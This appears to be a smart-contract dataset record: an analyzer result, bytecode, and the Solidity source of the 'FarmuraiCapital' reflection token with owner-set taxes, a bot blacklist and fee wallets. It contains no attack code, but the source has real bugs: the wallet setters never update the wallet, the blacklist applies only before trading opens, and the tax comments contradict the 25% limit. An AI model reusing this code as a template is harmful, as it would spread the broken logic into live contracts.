0x6080604052600436106101f15760003560e01c806370a082311161010d578063aa1a59e2116100a0578063d3f852fd1161006f578063d3f852fd1461027a578063d4d544d01461027a578063dc93569814610341578063dd62ed3e146104aa578063fc0c546a1461034157600080fd5b8063aa1a59e21461027a578063acd431a8146103d6578063cc4a0158146103f4578063cf6d625e1461041557600080fd5b806395d89b41116100dc57806395d89b41146102335780639fdabec2146103d6578063a293b0cd14610341578063a9059cbb1461024f57600080fd5b806370a08231146103a05780638b2a4df5146103bb5780638bc7e8c41461027a578063922a167c1461027a57600080fd5b806325258d0c116101855780633b8de929116101545780633b8de9291461035d5780633e9491a21461027a578063467c9eff1461037f57806354cf2aeb1461027a57600080fd5b806325258d0c14610319578063313ce5671461034157806336bd1f2f1461027a57806336e4ec641461027a57600080fd5b806318160ddd116101c157806318160ddd1461027a578063223706851461028e5780632391f3c1146102cf57806323b872dd146102f557600080fd5b8062f714ce146101fd57806306fdde0314610233578063095ea7b31461024f5780630f9775d51461027a57600080fd5b366101f857005b600080fd5b34801561020957600080fd5b506102206102183660046108e6565b600092915050565b6040519081526020015b60405180910390f35b34801561023f57600080fd5b50606060405161022a9190610909565b34801561025b57600080fd5b5061026a6102183660046106bb565b604051901515815260200161022a565b34801561028657600080fd5b506000610220565b34801561029a57600080fd5b5060008080808080604080519687526020870195909552938501929092526060840152608083015260a082015260c00161022a565b3480156102db57600080fd5b506102f36102ea366004610806565b50505050505050565b005b34801561030157600080fd5b5061026a61031036600461067f565b60009392505050565b34801561032557600080fd5b506102f3610334366004610721565b5050505050505050505050565b34801561034d57600080fd5b506040516000815260200161022a565b34801561036957600080fd5b506102f3610378366004610884565b5050505050565b34801561038b57600080fd5b5061026a61039a36600461062a565b50600090565b3480156103ac57600080fd5b5061022061039a36600461062a565b3480156103c757600080fd5b506102206103103660046106e5565b3480156103e257600080fd5b506102f36103f13660046108cd565b50565b34801561040057600080fd5b5060408051600080825260208201520161022a565b34801561042157600080fd5b506040805160c08082018352600080835260208084018281528486018381526060808701858152608080890187815260a0998a018881528b51988952955161ffff90811697890197909752935186169987019990995251841690850152519091169482019490945292516fffffffffffffffffffffffffffffffff16918301919091520161022a565b3480156104b657600080fd5b5061022061021836600461064c565b80356001600160a01b03811681146104dc57600080fd5b919050565b600082601f8301126104f257600080fd5b813560206105076105028361098f565b61095e565b80838252828201915082860187848660051b890101111561052757600080fd5b60005b8581101561054d5761053b826104c5565b8452928401929084019060010161052a565b5090979650505050505050565b600082601f83011261056b57600080fd5b8135602061057b6105028361098f565b80838252828201915082860187848660051b890101111561059b57600080fd5b60005b8581101561054d5781358452928401929084019060010161059e565b600082601f8301126105cb57600080fd5b813567ffffffffffffffff8111156105e5576105e56109b3565b6105f8601f8201601f191660200161095e565b81815284602083860101111561060d57600080fd5b816020850160208301376000918101602001919091529392505050565b60006020828403121561063c57600080fd5b610645826104c5565b9392505050565b6000806040838503121561065f57600080fd5b610668836104c5565b9150610676602084016104c5565b90509250929050565b60008060006060848603121561069457600080fd5b61069d846104c5565b92506106ab602085016104c5565b9150604084013590509250925092565b600080604083850312156106ce57600080fd5b6106d7836104c5565b946020939093013593505050565b6000806000606084860312156106fa57600080fd5b610703846104c5565b925060208401359150610718604085016104c5565b90509250925092565b60008060008060008060008060008060006101608c8e03121561074357600080fd5b61074c8c6104c5565b9a5060208c0135995060408c0135985067ffffffffffffffff8060608e0135111561077657600080fd5b6107868e60608f01358f016104e1565b98508060808e0135111561079957600080fd5b6107a98e60808f01358f0161055a565b975060a08d0135965060c08d0135955060e08d013594506101008d013593506101208d01359250806101408e013511156107e257600080fd5b506107f48d6101408e01358e016105ba565b90509295989b509295989b9093969950565b600080600080600080600060e0888a03121561082157600080fd5b61082a886104c5565b96506020880135955060408801359450606088013593506080880135925060a0880135915060c088013567ffffffffffffffff81111561086957600080fd5b6108758a828b016105ba565b91505092959891949750929550565b600080600080600060a0868803121561089c57600080fd5b853580151581146108ac57600080fd5b97602087013597506040870135966060810135965060800135945092505050565b6000602082840312156108df57600080fd5b5035919050565b600080604083850312156108f957600080fd5b82359150610676602084016104c5565b600060208083528351808285015260005b818110156109365785810183015185820160400152820161091a565b81811115610948576000604083870101525b50601f01601f1916929092016040019392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610987576109876109b3565b604052919050565b600067ffffffffffffffff8211156109a9576109a96109b3565b5060051b60200190565b634e487b7160e01b600052604160045260246000fdfea26469706673582212204b30c96c928edeed60c277020c65ecc301f45ed85f14943482929d2afe2f758064736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,902 |
0x86af8b89bf093baf1a6d800a0b682095d08622ff
|
/**
Farmurai Capital: $FC
Tokenomics (LAUNCH):
5% of tax goes to existing holders.
10% of tax goes into farming and farming profits goes for buy back.
Tokenomics (AFTER LAUNCH IS COMPLETED):
5% of tax goes to existing holders.
5% of tax goes into farming and farming profits goes for buy back.
Telegram:
https://t.me/farmuraicapital
*/
/**
__ _
/ _| (_)
| |_ __ _ _ __ _ __ ___ _ _ _ __ __ _ _
| _/ _` | '__| '_ ` _ \| | | | '__/ _` | |
| || (_| | | | | | | | | |_| | | | (_| | |
|_| \__,_|_| |_| |_| |_|\__,_|_| \__,_|_|
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FarmuraiCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FarmuraiCapital";
string private constant _symbol = "FC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
mapping(address => bool) private _isExcludedFromReflection;
address[] private _excludedFromReflection;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e3 * 1e9 * 1e9; //1,000,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 10;
uint256 private _reflectionFeeOnSell = 5;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable public _mgcAddress = payable(0x6e937840D62ED53Fa6C194bf6c691a5e7f9359B7);
address payable public _mktgAddress = payable(0x133523921bfd644E69361eF3d97d95431deB0D90);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = false;
bool public tradingActive = false;
uint256 public _maxTxAmount = 5000 * 1e3 * 1e7 * 1e9;
uint256 public _maxWalletSize = 5000 * 1e3 * 1e7 * 1e9;
uint256 public _swapTokensAtAmount = 5000 * 1e3 * 1e7 * 1e9;
event ExcludeFromReflection(address excludedAddress);
event IncludeInReflection(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event UpdatedMktgAddress(address mktg);
event UpdatedMgcAddress(address mgc);
event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee);
event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_mgcAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
excludeFromMaxTxAmount(owner(), true);
excludeFromMaxTxAmount(address(this), true);
excludeFromMaxTxAmount(address(_mgcAddress), true);
excludeFromMaxTxAmount(address(_mktgAddress), true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function excludeFromReflection(address account) public onlyOwner {
require(!_isExcludedFromReflection[account], "Account is already excluded");
require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReflection[account] = true;
_excludedFromReflection.push(account);
}
function includeInReflection(address account) public onlyOwner {
require(_isExcludedFromReflection[account], "Account is not excluded from reflection");
for (uint256 i = 0; i < _excludedFromReflection.length; i++) {
if (_excludedFromReflection[i] == account) {
_excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1];
_tOwned[account] = 0;
_isExcludedFromReflection[account] = false;
_excludedFromReflection.pop();
break;
}
}
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingActive)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_mgcAddress.transfer(amount.div(2));
_mktgAddress.transfer(amount.div(2));
}
function manualSwap() external {
require(_msgSender() == _mgcAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _mgcAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10%
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); //wont allow taxes to go above 10%
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
}
function openTrading() external onlyOwner() {
require(!tradingActive,"trading is already open");
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set max transaction
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isEx;
}
//set max wallet
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
//set wallet address
function _setMGCAddress(address mgcAddress) external onlyOwner {
require(_mgcAddress != address(0), "_mgcAddress cannot be 0");
_isExcludedFromFee[mgcAddress] = false;
mgcAddress = payable(_mgcAddress);
_isExcludedFromFee[mgcAddress] = true;
emit UpdatedMgcAddress(_mgcAddress);
}
//set wallet address
function _setMktgAddress(address mktgAddress) external onlyOwner {
require(_mktgAddress != address(0), "_mktgAddress cannot be 0");
_isExcludedFromFee[mktgAddress] = false;
mktgAddress = payable(_mktgAddress);
_isExcludedFromFee[mktgAddress] = true;
emit UpdatedMktgAddress(_mktgAddress);
}
}
|
0x60806040526004361061021c5760003560e01c80636b99905311610123578063bbc0c742116100ab578063ea1644d51161006f578063ea1644d5146107ca578063ea2f0b37146107f3578063ec28438a1461081c578063f2fde38b14610845578063f42938901461086e57610223565b8063bbc0c742146106e5578063bfd7928414610710578063c9567bf91461074d578063dd62ed3e14610764578063e755d0cf146107a157610223565b80638f9a55c0116100f25780638f9a55c01461060057806395d89b411461062b57806398a5c31514610656578063a2a957bb1461067f578063a9059cbb146106a857610223565b80636b9990531461054457806370a082311461056d5780637d1db4a5146105aa5780638da5cb5b146105d557610223565b806327334a08116101a6578063437823ec11610175578063437823ec1461047357806349bd5a5e1461049c57806351bc3c85146104c7578063563912bd146104de578063595cc84f1461051b57610223565b806327334a08146103cb5780632cf2dd64146103f45780632fd689e31461041d578063313ce5671461044857610223565b8063095ea7b3116101ed578063095ea7b3146102d05780631694505e1461030d57806318160ddd146103385780631b7861ef1461036357806323b872dd1461038e57610223565b806286803414610228578062b8cf2a1461025357806305f82a451461027c57806306fdde03146102a557610223565b3661022357005b600080fd5b34801561023457600080fd5b5061023d610885565b60405161024a91906147d3565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190614243565b6108ab565b005b34801561028857600080fd5b506102a3600480360381019061029e91906140ee565b6109fb565b005b3480156102b157600080fd5b506102ba610de2565b6040516102c791906148d7565b60405180910390f35b3480156102dc57600080fd5b506102f760048036038101906102f29190614207565b610e1f565b60405161030491906148a1565b60405180910390f35b34801561031957600080fd5b50610322610e3d565b60405161032f91906148bc565b60405180910390f35b34801561034457600080fd5b5061034d610e63565b60405161035a9190614b99565b60405180910390f35b34801561036f57600080fd5b50610378610e75565b60405161038591906147d3565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b0919061417c565b610e9b565b6040516103c291906148a1565b60405180910390f35b3480156103d757600080fd5b506103f260048036038101906103ed91906140ee565b610f74565b005b34801561040057600080fd5b5061041b600480360381019061041691906140ee565b61127d565b005b34801561042957600080fd5b506104326114d5565b60405161043f9190614b99565b60405180910390f35b34801561045457600080fd5b5061045d6114db565b60405161046a9190614c0e565b60405180910390f35b34801561047f57600080fd5b5061049a600480360381019061049591906140ee565b6114e4565b005b3480156104a857600080fd5b506104b161160b565b6040516104be919061479d565b60405180910390f35b3480156104d357600080fd5b506104dc611631565b005b3480156104ea57600080fd5b50610505600480360381019061050091906140ee565b6116ab565b60405161051291906148a1565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d91906141cb565b6116cb565b005b34801561055057600080fd5b5061056b600480360381019061056691906140ee565b6117bb565b005b34801561057957600080fd5b50610594600480360381019061058f91906140ee565b6118ab565b6040516105a19190614b99565b60405180910390f35b3480156105b657600080fd5b506105bf6118fc565b6040516105cc9190614b99565b60405180910390f35b3480156105e157600080fd5b506105ea611902565b6040516105f7919061479d565b60405180910390f35b34801561060c57600080fd5b5061061561192b565b6040516106229190614b99565b60405180910390f35b34801561063757600080fd5b50610640611931565b60405161064d91906148d7565b60405180910390f35b34801561066257600080fd5b5061067d600480360381019061067891906142ad565b61196e565b005b34801561068b57600080fd5b506106a660048036038101906106a19190614325565b611a0d565b005b3480156106b457600080fd5b506106cf60048036038101906106ca9190614207565b611b6a565b6040516106dc91906148a1565b60405180910390f35b3480156106f157600080fd5b506106fa611b88565b60405161070791906148a1565b60405180910390f35b34801561071c57600080fd5b50610737600480360381019061073291906140ee565b611b9b565b60405161074491906148a1565b60405180910390f35b34801561075957600080fd5b50610762611bbb565b005b34801561077057600080fd5b5061078b60048036038101906107869190614140565b6120db565b6040516107989190614b99565b60405180910390f35b3480156107ad57600080fd5b506107c860048036038101906107c391906140ee565b612162565b005b3480156107d657600080fd5b506107f160048036038101906107ec91906142ad565b6123ba565b005b3480156107ff57600080fd5b5061081a600480360381019061081591906140ee565b612459565b005b34801561082857600080fd5b50610843600480360381019061083e91906142ad565b612580565b005b34801561085157600080fd5b5061086c600480360381019061086791906140ee565b61261f565b005b34801561087a57600080fd5b506108836127e1565b005b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108b36128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093790614a59565b60405180910390fd5b60005b81518110156109f7576001600b600084848151811061098b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109ef90614f1b565b915050610943565b5050565b610a036128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790614a59565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390614b19565b60405180910390fd5b60005b600880549050811015610dde578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610b7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610dcb5760086001600880549050610bd89190614db0565b81548110610c0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c74577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610d91577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610dde565b8080610dd690614f1b565b915050610b1f565b5050565b60606040518060400160405280600f81526020017f4661726d757261694361706974616c0000000000000000000000000000000000815250905090565b6000610e33610e2c6128b2565b84846128ba565b6001905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069d3c21bcecceda1000000905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ea8848484612a85565b610f6984610eb46128b2565b610f64856040518060600160405280602881526020016155b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f1a6128b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133349092919063ffffffff16565b6128ba565b600190509392505050565b610f7c6128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100090614a59565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906149f9565b60405180910390fd5b603260016008805490506110aa9190614ccf565b11156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290614b39565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111bf5761117b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613398565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112856128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130990614a59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b90614b79565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff